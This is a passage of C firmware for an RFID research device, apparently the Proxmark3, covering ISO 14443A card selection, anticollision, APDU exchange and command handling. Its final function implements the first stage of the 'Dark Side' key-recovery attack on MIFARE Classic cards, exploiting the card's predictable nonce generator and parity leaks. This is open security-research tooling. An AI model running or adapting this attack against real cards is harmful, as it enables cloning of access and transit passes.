1616 TransmitFor14443a(ToSend, ToSendMax, timing);
1617 if(trigger)
1618 LED_A_ON();
1619
1620 // Log reader command in trace buffer
1621 LogTrace(frame, nbytes(bits), LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_READER, (LastTimeProxToAirStart + LastProxToAirDuration)*16 + DELAY_ARM2AIR_AS_READER, par, true);
1622}
1623
1624
1625void ReaderTransmitPar(uint8_t* frame, uint16_t len, uint8_t *par, uint32_t *timing)
1626{
1627 ReaderTransmitBitsPar(frame, len*8, par, timing);
1628}
1629
1630
1631static void ReaderTransmitBits(uint8_t* frame, uint16_t len, uint32_t *timing)
1632{
1633 // Generate parity and redirect
1634 uint8_t par[MAX_PARITY_SIZE];
1635 GetParity(frame, len/8, par);
1636 ReaderTransmitBitsPar(frame, len, par, timing);
1637}
1638
1639
1640void ReaderTransmit(uint8_t* frame, uint16_t len, uint32_t *timing)
1641{
1642 // Generate parity and redirect
1643 uint8_t par[MAX_PARITY_SIZE];
1644 GetParity(frame, len, par);
1645 ReaderTransmitBitsPar(frame, len*8, par, timing);
1646}
1647
1648
1649static int ReaderReceiveOffset(uint8_t* receivedAnswer, uint16_t offset, uint8_t *parity)
1650{
1651 if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, offset)) return false;
1652 LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false);
1653 return Demod.len;
1654}
1655
1656
1657int ReaderReceive(uint8_t *receivedAnswer, uint8_t *parity)
1658{
1659 if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, 0)) return false;
1660 LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false);
1661 return Demod.len;
1662}
1663
1664
1665static void iso14a_set_ATS_times(uint8_t *ats) {
1666
1667 uint8_t tb1;
1668 uint8_t fwi, sfgi;
1669 uint32_t fwt, sfgt;
1670
1671 if (ats[0] > 1) { // there is a format byte T0
1672 if ((ats[1] & 0x20) == 0x20) { // there is an interface byte TB(1)
1673 if ((ats[1] & 0x10) == 0x10) { // there is an interface byte TA(1) preceding TB(1)
1674 tb1 = ats[3];
1675 } else {
1676 tb1 = ats[2];
1677 }
1678 fwi = (tb1 & 0xf0) >> 4; // frame waiting time integer (FWI)
1679 if (fwi != 15) {
1680 fwt = 256 * 16 * (1 << fwi); // frame waiting time (FWT) in 1/fc
1681 iso14a_set_timeout(fwt/(8*16));
1682 }
1683 sfgi = tb1 & 0x0f; // startup frame guard time integer (SFGI)
1684 if (sfgi != 0 && sfgi != 15) {
1685 sfgt = 256 * 16 * (1 << sfgi); // startup frame guard time (SFGT) in 1/fc
1686 NextTransferTime = MAX(NextTransferTime, Demod.endTime + (sfgt - DELAY_AIR2ARM_AS_READER - DELAY_ARM2AIR_AS_READER)/16);
1687 }
1688 }
1689 }
1690}
1691
1692
1693static int GetATQA(uint8_t *resp, uint8_t *resp_par) {
1694
1695#define WUPA_RETRY_TIMEOUT 10 // 10ms
1696 uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
1697
1698 uint32_t save_iso14a_timeout = iso14a_get_timeout();
1699 iso14a_set_timeout(1236/(16*8)+1); // response to WUPA is expected at exactly 1236/fc. No need to wait longer.
1700
1701 uint32_t start_time = GetTickCount();
1702 int len;
1703
1704 // we may need several tries if we did send an unknown command or a wrong authentication before...
1705 do {
1706 // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
1707 ReaderTransmitBitsPar(wupa, 7, NULL, NULL);
1708 // Receive the ATQA
1709 len = ReaderReceive(resp, resp_par);
1710 } while (len == 0 && GetTickCount() <= start_time + WUPA_RETRY_TIMEOUT);
1711
1712 iso14a_set_timeout(save_iso14a_timeout);
1713 return len;
1714}
1715
1716
1717// performs iso14443a anticollision (optional) and card select procedure
1718// fills the uid and cuid pointer unless NULL
1719// fills the card info record unless NULL
1720// if anticollision is false, then the UID must be provided in uid_ptr[]
1721// and num_cascades must be set (1: 4 Byte UID, 2: 7 Byte UID, 3: 10 Byte UID)
1722// requests ATS unless no_rats is true
1723int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats) {
1724 uint8_t sel_all[] = { 0x93,0x20 };
1725 uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
1726 uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
1727 uint8_t resp[MAX_FRAME_SIZE]; // theoretically. A usual RATS will be much smaller
1728 uint8_t resp_par[MAX_PARITY_SIZE];
1729 byte_t uid_resp[4];
1730 size_t uid_resp_len;
1731
1732 uint8_t sak = 0x04; // cascade uid
1733 int cascade_level = 0;
1734 int len;
1735
1736 // init card struct
1737 if(p_hi14a_card) {
1738 p_hi14a_card->uidlen = 0;
1739 memset(p_hi14a_card->uid, 0, 10);
1740 p_hi14a_card->ats_len = 0;
1741 }
1742
1743 if (!GetATQA(resp, resp_par)) {
1744 return 0;
1745 }
1746
1747 if(p_hi14a_card) {
1748 memcpy(p_hi14a_card->atqa, resp, 2);
1749 }
1750
1751 if (anticollision) {
1752 // clear uid
1753 if (uid_ptr) {
1754 memset(uid_ptr,0,10);
1755 }
1756 }
1757
1758 // check for proprietary anticollision:
1759 if ((resp[0] & 0x1F) == 0) {
1760 return 3;
1761 }
1762
1763 // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
1764 // which case we need to make a cascade 2 request and select - this is a long UID
1765 // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
1766 for(; sak & 0x04; cascade_level++) {
1767 // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
1768 sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
1769
1770 if (anticollision) {
1771 // SELECT_ALL
1772 ReaderTransmit(sel_all, sizeof(sel_all), NULL);
1773 if (!ReaderReceive(resp, resp_par)) {
1774 return 0;
1775 }
1776
1777 if (Demod.collisionPos) { // we had a collision and need to construct the UID bit by bit
1778 memset(uid_resp, 0, 4);
1779 uint16_t uid_resp_bits = 0;
1780 uint16_t collision_answer_offset = 0;
1781 // anti-collision-loop:
1782 while (Demod.collisionPos) {
1783 Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos);
1784 for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) { // add valid UID bits before collision point
1785 uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01;
1786 uid_resp[uid_resp_bits / 8] |= UIDbit << (uid_resp_bits % 8);
1787 }
1788 uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8); // next time select the card(s) with a 1 in the collision position
1789 uid_resp_bits++;
1790 // construct anticollosion command:
1791 sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07); // length of data in bytes and bits
1792 for (uint16_t i = 0; i <= uid_resp_bits/8; i++) {
1793 sel_uid[2+i] = uid_resp[i];
1794 }
1795 collision_answer_offset = uid_resp_bits%8;
1796 ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL);
1797 if (!ReaderReceiveOffset(resp, collision_answer_offset, resp_par)) {
1798 return 0;
1799 }
1800 }
1801 // finally, add the last bits and BCC of the UID
1802 for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) {
1803 uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01;
1804 uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8);
1805 }
1806
1807 } else { // no collision, use the response to SELECT_ALL as current uid
1808 memcpy(uid_resp, resp, 4);
1809 }
1810 } else {
1811 if (cascade_level < num_cascades - 1) {
1812 uid_resp[0] = 0x88;
1813 memcpy(uid_resp+1, uid_ptr+cascade_level*3, 3);
1814 } else {
1815 memcpy(uid_resp, uid_ptr+cascade_level*3, 4);
1816 }
1817 }
1818 uid_resp_len = 4;
1819
1820 // calculate crypto UID. Always use last 4 Bytes.
1821 if(cuid_ptr) {
1822 *cuid_ptr = bytes_to_num(uid_resp, 4);
1823 }
1824
1825 // Construct SELECT UID command
1826 sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC)
1827 memcpy(sel_uid+2, uid_resp, 4); // the UID received during anticollision, or the provided UID
1828 sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC
1829 AppendCrc14443a(sel_uid, 7); // calculate and add CRC
1830 ReaderTransmit(sel_uid, sizeof(sel_uid), NULL);
1831
1832 // Receive the SAK
1833 if (!ReaderReceive(resp, resp_par)) {
1834 return 0;
1835 }
1836 sak = resp[0];
1837
1838 // Test if more parts of the uid are coming
1839 if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) {
1840 // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
1841 // http://www.nxp.com/documents/application_note/AN10927.pdf
1842 uid_resp[0] = uid_resp[1];
1843 uid_resp[1] = uid_resp[2];
1844 uid_resp[2] = uid_resp[3];
1845 uid_resp_len = 3;
1846 }
1847
1848 if(uid_ptr && anticollision) {
1849 memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
1850 }
1851
1852 if(p_hi14a_card) {
1853 memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
1854 p_hi14a_card->uidlen += uid_resp_len;
1855 }
1856 }
1857
1858 if(p_hi14a_card) {
1859 p_hi14a_card->sak = sak;
1860 }
1861
1862 // PICC compilant with iso14443a-4 ---> (SAK & 0x20 != 0)
1863 if( (sak & 0x20) == 0) return 2;
1864
1865 if (!no_rats) {
1866 // Request for answer to select
1867 AppendCrc14443a(rats, 2);
1868 ReaderTransmit(rats, sizeof(rats), NULL);
1869
1870 if (!(len = ReaderReceive(resp, resp_par))) {
1871 return 0;
1872 }
1873
1874 if(p_hi14a_card) {
1875 memcpy(p_hi14a_card->ats, resp, len);
1876 p_hi14a_card->ats_len = len;
1877 }
1878
1879 // reset the PCB block number
1880 iso14_pcb_blocknum = 0;
1881
1882 // set default timeout and delay next transfer based on ATS
1883 iso14a_set_ATS_times(resp);
1884
1885 }
1886 return 1;
1887}
1888
1889
1890void iso14443a_setup(uint8_t fpga_minor_mode) {
1891 FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
1892 // Set up the synchronous serial port
1893 FpgaSetupSsc(FPGA_MAJOR_MODE_HF_ISO14443A);
1894 // connect Demodulated Signal to ADC:
1895 SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
1896
1897 // Signal field is on with the appropriate LED
1898 if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD
1899 || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) {
1900 LED_D_ON();
1901 } else {
1902 LED_D_OFF();
1903 }
1904 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode);
1905
1906 // Start the timer
1907 StartCountSspClk();
1908
1909 DemodReset();
1910 UartReset();
1911 NextTransferTime = 2*DELAY_ARM2AIR_AS_READER;
1912 iso14a_set_timeout(1060); // 10ms default
1913}
1914
1915/* Peter Fillmore 2015
1916Added card id field to the function
1917 info from ISO14443A standard
1918b1 = Block Number
1919b2 = RFU (always 1)
1920b3 = depends on block
1921b4 = Card ID following if set to 1
1922b5 = depends on block type
1923b6 = depends on block type
1924b7,b8 = block type.
1925Coding of I-BLOCK:
1926b8 b7 b6 b5 b4 b3 b2 b1
19270 0 0 x x x 1 x
1928b5 = chaining bit
1929Coding of R-block:
1930b8 b7 b6 b5 b4 b3 b2 b1
19311 0 1 x x 0 1 x
1932b5 = ACK/NACK
1933Coding of S-block:
1934b8 b7 b6 b5 b4 b3 b2 b1
19351 1 x x x 0 1 0
1936b5,b6 = 00 - DESELECT
1937 11 - WTX
1938*/
1939int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, uint8_t *res) {
1940 uint8_t parity[MAX_PARITY_SIZE];
1941 uint8_t real_cmd[cmd_len + 4];
1942
1943 if (cmd_len) {
1944 // ISO 14443 APDU frame: PCB [CID] [NAD] APDU CRC PCB=0x02
1945 real_cmd[0] = 0x02; // bnr,nad,cid,chn=0; i-block(0x00)
1946 if (send_chaining) {
1947 real_cmd[0] |= 0x10;
1948 }
1949 // put block number into the PCB
1950 real_cmd[0] |= iso14_pcb_blocknum;
1951 memcpy(real_cmd + 1, cmd, cmd_len);
1952 } else {
1953 // R-block. ACK
1954 real_cmd[0] = 0xA2; // r-block + ACK
1955 real_cmd[0] |= iso14_pcb_blocknum;
1956 }
1957 AppendCrc14443a(real_cmd, cmd_len + 1);
1958
1959 ReaderTransmit(real_cmd, cmd_len + 3, NULL);
1960
1961 size_t len = ReaderReceive(data, parity);
1962 uint8_t *data_bytes = (uint8_t *) data;
1963
1964 if (!len) {
1965 return 0; //DATA LINK ERROR
1966 } else{
1967 // S-Block WTX
1968 while(len && ((data_bytes[0] & 0xF2) == 0xF2)) {
1969 uint32_t save_iso14a_timeout = iso14a_get_timeout();
1970 // temporarily increase timeout
1971 iso14a_set_timeout(MAX((data_bytes[1] & 0x3f) * save_iso14a_timeout, MAX_ISO14A_TIMEOUT));
1972 // Transmit WTX back
1973 // byte1 - WTXM [1..59]. command FWT=FWT*WTXM
1974 data_bytes[1] = data_bytes[1] & 0x3f; // 2 high bits mandatory set to 0b
1975 // now need to fix CRC.
1976 AppendCrc14443a(data_bytes, len - 2);
1977 // transmit S-Block
1978 ReaderTransmit(data_bytes, len, NULL);
1979 // retrieve the result again (with increased timeout)
1980 len = ReaderReceive(data, parity);
1981 data_bytes = data;
1982 // restore timeout
1983 iso14a_set_timeout(save_iso14a_timeout);
1984 }
1985
1986 // if we received an I- or R(ACK)-Block with a block number equal to the
1987 // current block number, toggle the current block number
1988 if (len >= 3 // PCB+CRC = 3 bytes
1989 && ((data_bytes[0] & 0xC0) == 0 // I-Block
1990 || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0
1991 && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers
1992 {
1993 iso14_pcb_blocknum ^= 1;
1994 }
1995
1996 // if we received I-block with chaining we need to send ACK and receive another block of data
1997 if (res)
1998 *res = data_bytes[0];
1999
2000 // crc check
2001 if (len >= 3 && !CheckCrc14443(CRC_14443_A, data_bytes, len)) {
2002 return -1;
2003 }
2004
2005 }
2006
2007 if (len) {
2008 // cut frame byte
2009 len -= 1;
2010 // memmove(data_bytes, data_bytes + 1, len);
2011 for (int i = 0; i < len; i++)
2012 data_bytes[i] = data_bytes[i + 1];
2013 }
2014
2015 return len;
2016}
2017
2018
2019//-----------------------------------------------------------------------------
2020// Read an ISO 14443a tag. Send out commands and store answers.
2021//
2022//-----------------------------------------------------------------------------
2023void ReaderIso14443a(UsbCommand *c)
2024{
2025 iso14a_command_t param = c->arg[0];
2026 uint8_t *cmd = c->d.asBytes;
2027 size_t len = c->arg[1] & 0xffff;
2028 size_t lenbits = c->arg[1] >> 16;
2029 uint32_t timeout = c->arg[2];
2030 uint32_t arg0 = 0;
2031 byte_t buf[USB_CMD_DATA_SIZE] = {0};
2032 uint8_t par[MAX_PARITY_SIZE];
2033 bool cantSELECT = false;
2034
2035 set_tracing(true);
2036
2037 if(param & ISO14A_CLEAR_TRACE) {
2038 clear_trace();
2039 }
2040
2041 if(param & ISO14A_REQUEST_TRIGGER) {
2042 iso14a_set_trigger(true);
2043 }
2044
2045 if(param & ISO14A_CONNECT) {
2046 LED_A_ON();
2047 iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
2048 if(!(param & ISO14A_NO_SELECT)) {
2049 iso14a_card_select_t *card = (iso14a_card_select_t*)buf;
2050 arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);
2051
2052 // if we cant select then we cant send data
2053 if (arg0 != 1 && arg0 != 2) {
2054 // 1 - all is OK with ATS, 2 - without ATS
2055 cantSELECT = true;
2056 }
2057 FpgaDisableTracing();
2058 LED_B_ON();
2059 cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t));
2060 LED_B_OFF();
2061 }
2062 }
2063
2064 if(param & ISO14A_SET_TIMEOUT) {
2065 iso14a_set_timeout(timeout);
2066 }
2067
2068 if(param & ISO14A_APDU && !cantSELECT) {
2069 uint8_t res;
2070 arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res);
2071 FpgaDisableTracing();
2072 LED_B_ON();
2073 cmd_send(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
2074 LED_B_OFF();
2075 }
2076
2077 if(param & ISO14A_RAW && !cantSELECT) {
2078 if(param & ISO14A_APPEND_CRC) {
2079 if(param & ISO14A_TOPAZMODE) {
2080 AppendCrc14443b(cmd,len);
2081 } else {
2082 AppendCrc14443a(cmd,len);
2083 }
2084 len += 2;
2085 if (lenbits) lenbits += 16;
2086 }
2087 if(lenbits>0) { // want to send a specific number of bits (e.g. short commands)
2088 if(param & ISO14A_TOPAZMODE) {
2089 int bits_to_send = lenbits;
2090 uint16_t i = 0;
2091 ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 7), NULL, NULL); // first byte is always short (7bits) and no parity
2092 bits_to_send -= 7;
2093 while (bits_to_send > 0) {
2094 ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 8), NULL, NULL); // following bytes are 8 bit and no parity
2095 bits_to_send -= 8;
2096 }
2097 } else {
2098 GetParity(cmd, lenbits/8, par);
2099 ReaderTransmitBitsPar(cmd, lenbits, par, NULL); // bytes are 8 bit with odd parity
2100 }
2101 } else { // want to send complete bytes only
2102 if(param & ISO14A_TOPAZMODE) {
2103 uint16_t i = 0;
2104 ReaderTransmitBitsPar(&cmd[i++], 7, NULL, NULL); // first byte: 7 bits, no paritiy
2105 while (i < len) {
2106 ReaderTransmitBitsPar(&cmd[i++], 8, NULL, NULL); // following bytes: 8 bits, no paritiy
2107 }
2108 } else {
2109 ReaderTransmit(cmd,len, NULL); // 8 bits, odd parity
2110 }
2111 }
2112 arg0 = ReaderReceive(buf, par);
2113 FpgaDisableTracing();
2114
2115 LED_B_ON();
2116 cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
2117 LED_B_OFF();
2118 }
2119
2120 if(param & ISO14A_REQUEST_TRIGGER) {
2121 iso14a_set_trigger(false);
2122 }
2123
2124 if(param & ISO14A_NO_DISCONNECT) {
2125 return;
2126 }
2127
2128 FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
2129 LEDsoff();
2130}
2131
2132
2133// Determine the distance between two nonces.
2134// Assume that the difference is small, but we don't know which is first.
2135// Therefore try in alternating directions.
2136static int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
2137
2138 uint16_t i;
2139 uint32_t nttmp1, nttmp2;
2140
2141 if (nt1 == nt2) return 0;
2142
2143 nttmp1 = nt1;
2144 nttmp2 = nt2;
2145
2146 for (i = 1; i < 32768; i++) {
2147 nttmp1 = prng_successor(nttmp1, 1);
2148 if (nttmp1 == nt2) return i;
2149 nttmp2 = prng_successor(nttmp2, 1);
2150 if (nttmp2 == nt1) return -i;
2151 }
2152
2153 return(-99999); // either nt1 or nt2 are invalid nonces
2154}
2155
2156
2157//-----------------------------------------------------------------------------
2158// Recover several bits of the cypher stream. This implements (first stages of)
2159// the algorithm described in "The Dark Side of Security by Obscurity and
2160// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
2161// (article by Nicolas T. Courtois, 2009)
2162//-----------------------------------------------------------------------------
2163void ReaderMifare(bool first_try)
2164{
2165 // Mifare AUTH
2166 uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
2167 uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
2168 static uint8_t mf_nr_ar3;
2169
2170 uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE];
2171 uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE];
2172
2173 iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
2174
2175 // free eventually allocated BigBuf memory. We want all for tracing.
2176 BigBuf_free();
2177
2178 clear_trace();
2179 set_tracing(true);
2180
2181 uint8_t nt_diff = 0;
2182 uint8_t par[1] = {0}; // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough
2183 static uint8_t par_low = 0;
2184 bool led_on = true;
2185 uint8_t uid[10] ={0};
2186 uint32_t cuid;
2187
2188 uint32_t nt = 0;
2189 uint32_t previous_nt = 0;
2190 static uint32_t nt_attacked = 0;
2191 uint8_t par_list[8] = {0x00};
2192 uint8_t ks_list[8] = {0x00};
2193
2194 #define PRNG_SEQUENCE_LENGTH (1 << 16);
2195 uint32_t sync_time = GetCountSspClk() & 0xfffffff8;
2196 static int32_t sync_cycles;
2197 int catch_up_cycles = 0;
2198 int last_catch_up = 0;
2199 uint16_t elapsed_prng_sequences;
2200 uint16_t consecutive_resyncs = 0;
2201 int isOK = 0;
2202
2203 if (first_try) {
2204 mf_nr_ar3 = 0;
2205 par[0] = par_low = 0;
2206 sync_cycles = PRNG_SEQUENCE_LENGTH; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the tag nonces).
2207 nt_attacked = 0;
2208 }
2209 else {
2210 // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
2211 mf_nr_ar3++;
2212 mf_nr_ar[3] = mf_nr_ar3;
2213 par[0] = par_low;
2214 }
2215
2216 LED_A_ON();
2217 LED_B_OFF();
2218 LED_C_OFF();
2219
2220
2221 #define MAX_UNEXPECTED_RANDOM 4 // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up.
2222 #define MAX_SYNC_TRIES 32
2223 #define SYNC_TIME_BUFFER 16 // if there is only SYNC_TIME_BUFFER left before next planned sync, wait for next PRNG cycle
2224 #define NUM_DEBUG_INFOS 8 // per strategy
2225 #define MAX_STRATEGY 3
2226 uint16_t unexpected_random = 0;
2227 uint16_t sync_tries = 0;
2228 int16_t debug_info_nr = -1;
2229 uint16_t strategy = 0;
2230 int32_t debug_info[MAX_STRATEGY][NUM_DEBUG_INFOS];
2231 uint32_t select_time;
2232 uint32_t halt_time;
2233
2234 for(uint16_t i = 0; true; i++) {
2235
2236 LED_C_ON();
2237 WDT_HIT();
2238
2239 // Test if the action was cancelled
2240 if(BUTTON_PRESS()) {
2241 isOK = -1;
2242 break;
2243 }
2244
2245 if (strategy == 2) {
2246 // test with additional hlt command
2247 halt_time = 0;
2248 int len = mifare_sendcmd_short(NULL, false, 0x50, 0x00, receivedAnswer, receivedAnswerPar, &halt_time);
2249 if (len && MF_DBGLEVEL >= 3) {
2250 Dbprintf("Unexpected response of %d bytes to hlt command (additional debugging).", len);
2251 }
2252 }
2253
2254 if (strategy == 3) {
2255 // test with FPGA power off/on
2256 FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
2257 SpinDelay(200);
2258 iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
2259 SpinDelay(100);
2260 }
2261
2262 if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
2263 if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
2264 continue;
2265 }
2266 select_time = GetCountSspClk();
2267
2268 elapsed_prng_sequences = 1;
2269 if (debug_info_nr == -1) {
2270 sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
2271 catch_up_cycles = 0;
2272
2273 // if we missed the sync time already or are about to miss it, advance to the next nonce repeat
2274 while(sync_time < GetCountSspClk() + SYNC_TIME_BUFFER) {
2275 elapsed_prng_sequences++;
2276 sync_time = (sync_time & 0xfffffff8) + sync_cycles;
2277 }
2278
2279 // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
2280 ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
2281 } else {
2282 // collect some information on tag nonces for debugging:
2283 #define DEBUG_FIXED_SYNC_CYCLES PRNG_SEQUENCE_LENGTH
2284 if (strategy == 0) {
2285 // nonce distances at fixed time after card select:
2286 sync_time = select_time + DEBUG_FIXED_SYNC_CYCLES;
2287 } else if (strategy == 1) {
2288 // nonce distances at fixed time between authentications:
2289 sync_time = sync_time + DEBUG_FIXED_SYNC_CYCLES;
2290 } else if (strategy == 2) {
2291 // nonce distances at fixed time after halt:
2292 sync_time = halt_time + DEBUG_FIXED_SYNC_CYCLES;
2293 } else {
2294 // nonce_distances at fixed time after power on
2295 sync_time = DEBUG_FIXED_SYNC_CYCLES;
2296 }
2297 ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
2298 }
2299
2300 // Receive the (4 Byte) "random" nonce
2301 if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) {
2302 if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce");
2303 continue;
2304 }
2305
2306 previous_nt = nt;
2307 nt = bytes_to_num(receivedAnswer, 4);
2308
2309 // Transmit reader nonce with fake par
2310 ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
2311
2312 if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
2313 int nt_distance = dist_nt(previous_nt, nt);
2314 if (nt_distance == 0) {
2315 nt_attacked = nt;
2316 } else {
2317 if (nt_distance == -99999) { // invalid nonce received
2318 unexpected_random++;
2319 if (unexpected_random > MAX_UNEXPECTED_RANDOM) {
2320 isOK = -3; // Card has an unpredictable PRNG. Give up
2321 break;
2322 } else {
2323 continue; // continue trying...
2324 }
2325 }
2326 if (++sync_tries > MAX_SYNC_TRIES) {
2327 if (strategy > MAX_STRATEGY || MF_DBGLEVEL < 3) {
2328 isOK = -4; // Card's PRNG runs at an unexpected frequency or resets unexpectedly
2329 break;
2330 } else { // continue for a while, just to collect some debug info
2331 debug_info[strategy][debug_info_nr] = nt_distance;
2332 debug_info_nr++;
2333 if (debug_info_nr == NUM_DEBUG_INFOS) {
2334 strategy++;
2335 debug_info_nr = 0;
2336 }
2337 continue;
2338 }
2339 }
2340 sync_cycles = (sync_cycles - nt_distance/elapsed_prng_sequences);
2341 if (sync_cycles <= 0) {
2342 sync_cycles += PRNG_SEQUENCE_LENGTH;
2343 }
2344 if (MF_DBGLEVEL >= 3) {
2345 Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles);
2346 }
2347 continue;
2348 }
2349 }
2350
2351 if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
2352 catch_up_cycles = -dist_nt(nt_attacked, nt);
2353 if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
2354 catch_up_cycles = 0;
2355 continue;
2356 }
2357 catch_up_cycles /= elapsed_prng_sequences;
2358 if (catch_up_cycles == last_catch_up) {
2359 consecutive_resyncs++;
2360 }
2361 else {
2362 last_catch_up = catch_up_cycles;
2363 consecutive_resyncs = 0;
2364 }
2365 if (consecutive_resyncs < 3) {
2366 if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
2367 }
2368 else {
2369 sync_cycles = sync_cycles + catch_up_cycles;
2370 if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
2371 last_catch_up = 0;
2372 catch_up_cycles = 0;
2373 consecutive_resyncs = 0;
2374 }
2375 continue;
2376 }
2377
2378 consecutive_resyncs = 0;
2379
2380 // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
2381 if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
2382 catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
2383
2384 if (nt_diff == 0) {
2385 par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
2386 }
2387
2388 led_on = !led_on;
2389 if(led_on) LED_B_ON(); else LED_B_OFF();
2390
2391 par_list[nt_diff] = SwapBits(par[0], 8);
2392 ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
2393
2394 // Test if the information is complete
2395 if (nt_diff == 0x07) {
2396 isOK = 1;
2397 break;
2398 }
2399
2400 nt_diff = (nt_diff + 1) & 0x07;
2401 mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
2402 par[0] = par_low;
2403 } else {
2404 if (nt_diff == 0 && first_try)
2405 {
2406 par[0]++;
2407 if (par[0] == 0x00) { // tried all 256 possible parities without success. Card doesn't send NACK.
2408 isOK = -2;
2409 break;
2410 }
2411 } else {
2412 par[0] = ((par[0] & 0x1F) + 1) | par_low;
2413 }
2414 }
2415 }
2416
2417
2418 mf_nr_ar[3] &= 0x1F;
2419
2420 if (isOK == -4) {
2421 if (MF_DBGLEVEL >= 3) {
2422 for (uint16_t i = 0; i <= MAX_STRATEGY; i++) {
2423 for(uint16_t j = 0; j < NUM_DEBUG_INFOS; j++) {
2424 Dbprintf("collected debug info[%d][%d] = %d", i, j, debug_info[i][j]);
2425 }
2426 }
2427 }
2428 }
2429
